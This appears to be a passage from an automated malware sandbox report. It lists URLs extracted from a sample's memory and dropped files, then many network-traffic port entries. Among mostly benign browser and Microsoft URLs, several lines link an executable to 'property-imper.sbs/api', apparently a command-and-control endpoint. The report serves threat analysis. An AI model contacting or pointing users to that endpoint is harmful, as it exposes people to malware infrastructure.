Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_464.5.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log0.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376975980277691.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_464.5.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/X
Source: 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732388335.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apinG
Source: 7mpPLxE.exe, 0000001C.00000003.2732388335.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000002.2751559896.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs:443/api
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.1789958815.0000000023C2B000.00000004.00000020.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733046981.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2732906553.00000000054CB000.00000004.00000800.00020000.00000000.sdmp, 7mpPLxE.exe, 0000001C.00000003.2733221205.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, FHDAEHDA.0.dr, ECFCBKJD.0.dr, Web Data.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6c10faac-11e3-4352-830f-3be4db53e3b9.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_464.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1918612972.0000000023DBE000.00000004.00000020.00020000.00000000.sdmp, DAFIEHIEGDHIDGDGHDHJJJDGHJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: e57602fa-b1da-4872-a79c-d583c4c4e12c.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
